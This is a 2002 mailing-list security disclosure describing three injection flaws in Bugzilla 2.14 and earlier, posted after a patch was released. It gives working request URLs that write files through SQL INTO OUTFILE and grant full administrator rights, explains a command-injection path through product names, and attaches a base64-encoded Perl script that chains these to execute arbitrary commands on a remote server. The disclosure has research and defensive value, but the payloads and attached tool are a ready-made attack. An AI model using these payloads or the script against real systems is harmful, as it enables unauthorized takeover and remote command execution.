Inproper input validation in Bugzilla <=2.14 - exploit
Date: Sun, 6 Jan 2002 12:34:01 +0100 (CET)
From: funkysh <funkysh@sm.pl>
To: bugtraq@securityfocus.com
Subject: Inproper input validation in Bugzilla <=2.14 - exploit
--0-2066351960-1010316841=:49337
Content-Type: TEXT/PLAIN; charset=US-ASCII
Since advisory and patched version is already released, here goes
description of vulnerabilities I discovered in Bugzilla almost year
ago.
1. Creating files on remote server.
-----------------------------------
Nothing spectacular, but this vulnerability may allow us easily
(at least when using Bugzilla with MySQL) to create files on
remote server in some cases, using MySQL's INTO OUTFILE.
long_list.cgi:
my $generic_query = "
select
bugs.bug_id,
...
from bugs,profiles ...
where assign.userid = ... and";
$::FORM{'buglist'} = "" unless exists $::FORM{'buglist'};
foreach my $bug (split(/:/, $::FORM{'buglist'})) {
SendSQL("$generic_query bugs.bug_id = $bug");
[..]
As we can see $::FORM{'buglist'} (submitted by user) isn't quoted here,
also script doesn't check if bug_id is numeric value. So we are able to
add extra SQL command into $generic_query.
ok, let's try.. after login we request:
http://site/bugzilla/long_list.cgi?buglist=1%20INTO%20OUTFILE%20%27/tmp/pussycat%27
We are lucky, if everything works, we'll see only little message:
"Full Text Bug Listing", so we then know file is created. If any problem
occur script will happily inform us.
[funkysh@note] $ ls -l /tmp/pussycat
-rw-rw-rw- 1 mysql mysql 118 Jan 13 20:41 /tmp/pussycat
This may be serious problem if i.e. remote server running PHP,
and we have any writable dir inside DOCUMENT_ROOT reachable from
outside, we can create some evil php script. (Bugzilla by default creates
directory 'data' with permissions sets to 777 afair, it is also not a
problem to find out real path.)
Btw. this one seems to be still unpatched in 2.14.1.
2. Obtaining Bugzilla superuser access.
---------------------------------------
What you can do with your Bugzilla account depends on your groupset, by
default any newly created user have groupset=96 what means:
* Can edit all aspects of any bug.
* Can confirm a bug.
(Get into User preferences and choose Permissions link to see that.)
Why not to become superuser? Nothing easier. Take look into userprefs.cgi:
sub SaveFooter {
[..]
SendSQL("UPDATE profiles SET mybugslink = '" . $::FORM{'mybugslink'} .
"' WHERE userid = $userid");
[..]
Once again unquoted user supplied value.
ok,
- once you are in 'User preferences' request following:
http://site/bugzilla/userprefs.cgi?bank=footer&dosave=1&mybugslink=1\
'%20%2cgroupset='9223372036854775807
(9223372036854775807 its just decimal of all 64 permission bits)
- choose Permissions link and you should see:
* Can tweak operating parameters
* Can edit or disable users
* Can create and destroy groups.
* Can create, destroy, and edit components.
* Can create, destroy, and edit keywords.
* Can edit all aspects of any bug.
* Can confirm a bug.
Voila.
3. Executing commands on remote server.
---------------------------------------
After quick look into reports.cgi we can discover this:
sub generate_chart {
my ($data_file, $image_file, $type) = @_;
if (! open FILE, $data_file) {
&die_politely ("The tool which gathers bug counts has not been run yet.");
}
our generate_chart() is called from show_chart() function this way:
if (! is_legal_product ($FORM{'product'})) {
&die_politely ("Unknown product: $FORM{'product'}");
}
...
my $data_file = daily_stats_filename($FORM{product})
...
if (! -e "$graph_dir/$image_file") {
generate_chart("$dir/$data_file", "$graph_dir/$image_file", $type);
}
"product" is user submitted value but it is checked by function
is_legal_product() so we first have to create product with name
of our evil command.. of course normal user cannot add new products
and components but we gained administrator priviledges using vuln 2.
One more thing to pass:
sub daily_stats_filename {
my ($prodname) = @_;
$prodname =~ s/\//-/gs;
return $prodname;
}
Every slash in our command will be replaced with dash ..ouh,
not so good, but we are smart enough to use `echo -e \057` instead
of /.
Notice that exploiting last bug is dependant on availability of
GD modules, since check is done in sub show_chart() :
...
return unless $use_gd;
That's all, a script is attached which exploits second and third
vulnerability to execute commands on remote server running Bugzilla.
regards,
--
funkysh@sm.pl
--0-2066351960-1010316841=:49337
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="buggyzilla.pl"
Content-Transfer-Encoding: BASE64
Content-ID: <20020106123401.O49337@kris.top.pl>
Content-Description:
Content-Disposition: attachment; filename="buggyzilla.pl"
IyEvdXNyL2Jpbi9wZXJsDQoNCiMgQnVnemlsbGEgPD0gMi4xNCByZW1vdGUg
ZXhwbG9pdCAtIGZ1bmt5c2hAc20ucGwNCiMgZmlyc3QgdW5wdWJsaXNoZWQg
cmVsZWFzZSAtIDEzLzAxLzIwMDENCiMgY2hlY2tlZCB3aXRoIHZlcnNpb24g
Mi4xMiAtIDA4LzA1LzIwMDENCiMgY2hlY2tlZCB3aXRoIHZlcnNpb24gMi4x
NCAtIDEwLzA5LzIwMDENCg0Kc3ViIGNyZWF0ZV9jbWQgew0KICAgICAgICAg
ICAgICAgICAkY21kID0gIjsiIC4gJF9bMF07DQogICAgICAgICAgICAgICAg
ICRjbWQgPX4gcy9cLy9gZWNobyAtZSAiXFwwNTciYC9nczsNCiAgICAgICAg
ICAgICAgICAgJGNtZCA9ICRjbWQgLiAifCI7DQogICAgICAgICAgICAgICAg
IGlmIChsZW5ndGgoJGNtZCkgPiA2NCkNCiAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICBkaWUgKCJjcmVhdGVkIGNtZCBzdHJp
bmcgaXMgbG9uZ2VyIHRoYW4gNjQgY2hhcnMsIHNvcnJ5LlxuIik7DQogICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAkY21kID1+IHMv
KFsgLX5dKS9zcHJpbnRmICgiJSUleCIsIG9yZCgkMSkpL2dlOw0KICAgICAg
ICAgICAgICAgICByZXR1cm4gJGNtZA0KICAgICAgICAgICAgICAgfQ0KDQpz
dWIgY2hlY2tfcGVybSB7DQogICAgICAgICAgICAgICAgIG9wZW4gKFJFUywg
Imx5bnggLXNvdXJjZSBcIiRob3N0L3VzZXJwcmVmcy5jZ2k/QnVnemlsbGFf
bG9naW49JGxvZ2luJkJ1Z3ppbGxhX3Bhc3N3b3JkPSRwYXNzd29yZCZiYW5r
PXBlcm1pc3Npb25zXCJ8Iik7DQogICAgICAgICAgICAgICAgIHdoaWxlICgk
b3V0cHV0ID0gPFJFUz4pDQogICAgICAgICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAgICAgY2hvbXAoJG91dHB1dCk7DQogICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoJG91dHB1dCA9fiAvPExJPkNhbi8pDQog
ICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBpZiAoJG91dHB1dCA9fiAvZWRpdCBjb21wb25lbnRzLykN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgJHBlcm0gPSAxOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRvdXRwdXQgPX4gcy9cPExJPi9cKiAvZ3M7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgcHJpbnQgKCIgJG91dHB1dFxuIik7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICByZXR1cm4gJHBlcm07DQogICAgICAgICAg
ICAgICB9DQoNCiRwZXJtID0gMDsNCiRkb25lID0gMDsNCiRzdXBlcnVzZXJn
cm91cHNldCA9ICI5MjIzMzcyMDM2ODU0Nzc1ODA3IjsNCg0KaWYgKEBBUkdW
IDwgNCkNCiAgew0KICAgIGRpZSAoInVzYWdlOiAkMCA8dXJsPiA8eW91cl9i
dWd6aWxsYV9hY2NvdW50PiA8cGFzc3dkPiA8Y21kPlxuIiwNCiAgICAgICAg
ICIgZS5nLjogJDAgaHR0cDovL3ZpY3RpbS5jb20vYnVnemlsbGEgbWVcQGVt
YWlsLmNvbSBzZWNyZXQgXCJ0b3VjaCAvdG1wL2hlaFwiXG4iKTsNCiAgfQ0K
DQooJGhvc3QsICRsb2dpbiwgJHBhc3N3b3JkLCAkY21kKSA9IChAQVJHVik7
DQoNCnByaW50ICgiPT4gY2hlY2tpbmcgcGVybWlzc2lvbnNcbiIpOw0KDQog
aWYgKCEgY2hlY2tfcGVybSgpKQ0KICAgew0KICAgICBwcmludCAoIj0+IHVu
c3VmZmljaWVudCBncm91cHNldCwgdHJ5aW5nIHRvIGJlY29tZSBidWd6aWxs
YSBhZG1pbmlzdHJhdG9yXG4iKTsNCiAgICAgb3BlbiAoUkVTLCAibHlueCAt
c291cmNlIFwiJGhvc3QvdXNlcnByZWZzLmNnaT9CdWd6aWxsYV9sb2dpbj0k
bG9naW4mQnVnemlsbGFfcGFzc3dvcmQ9JHBhc3N3b3JkJmJhbms9Zm9vdGVy
JmRvc2F2ZT0xJm15YnVnc2xpbms9MSUyNyUyMCUyY2dyb3Vwc2V0PSUyNyRz
dXBlcnVzZXJncm91cHNldFwifCIpOw0KICAgfQ0KDQogaWYgKCEgJHBlcm0p
DQogICB7DQogICAgIGlmICghIGNoZWNrX3Blcm0oKSkNCiAgICAgIHsNCiAg
ICAgICAgZGllICgiPT4gY2hhbmdpbmcgZ3JvdXBzZXQgZmFpbGVkXG4iKTsN
CiAgICAgIH0NCiAgIH0NCg0KcHJpbnQgKCI9PiBwZXJtaXNzaW9ucyBvaywg
Y3JlYXRpbmcgY21kLXByb2R1Y3QgIik7DQoNCiRjbWQgPSAoY3JlYXRlX2Nt
ZCgkY21kKSk7DQoNCm9wZW4gKFJFUywgImx5bnggLXNvdXJjZSBcIiRob3N0
L2VkaXRwcm9kdWN0cy5jZ2k/QnVnemlsbGFfbG9naW49JGxvZ2luJkJ1Z3pp
bGxhX3Bhc3N3b3JkPSRwYXNzd29yZCZ2ZXJzaW9uPXVuc3BlY2lmaWVkJnBy
b2R1Y3Q9JGNtZCZhY3Rpb249bmV3XCJ8Iik7DQoNCndoaWxlICgkb3V0cHV0
ID0gPFJFUz4pDQogICAgIHsNCiAgICAgIGNob21wKCRvdXRwdXQpOw0KICAg
ICAgaWYgKCRvdXRwdXQgPX4gL09LLCBkb25lLi8pDQogICAgICAgIHsNCiAg
ICAgICAgICBwcmludCAoIltva11cbiIpOyAkZG9uZSA9IDE7DQogICAgICAg
IH0NCiAgICAgfQ0KDQppZiAoISAkZG9uZSkNCiAgew0KICAgIGRpZSAoIltm
YWlsZWRdXG4iKTsNCiAgfQ0KDQpwcmludCAoIj0+IHRyeWluZyB0byBleGVj
dXRlIGNtZCBvbiByZW1vdGUgaG9zdFxuIik7DQpvcGVuIChSRVMsICJseW54
IC1zb3VyY2UgXCIkaG9zdC9yZXBvcnRzLmNnaT9vdXRwdXQ9c2hvd19jaGFy
dCZwcm9kdWN0PSRjbWQmZGF0YXNldHM9MVwifCIpOw0KZXhpdCgwKTsNCg==
--0-2066351960-1010316841=:49337--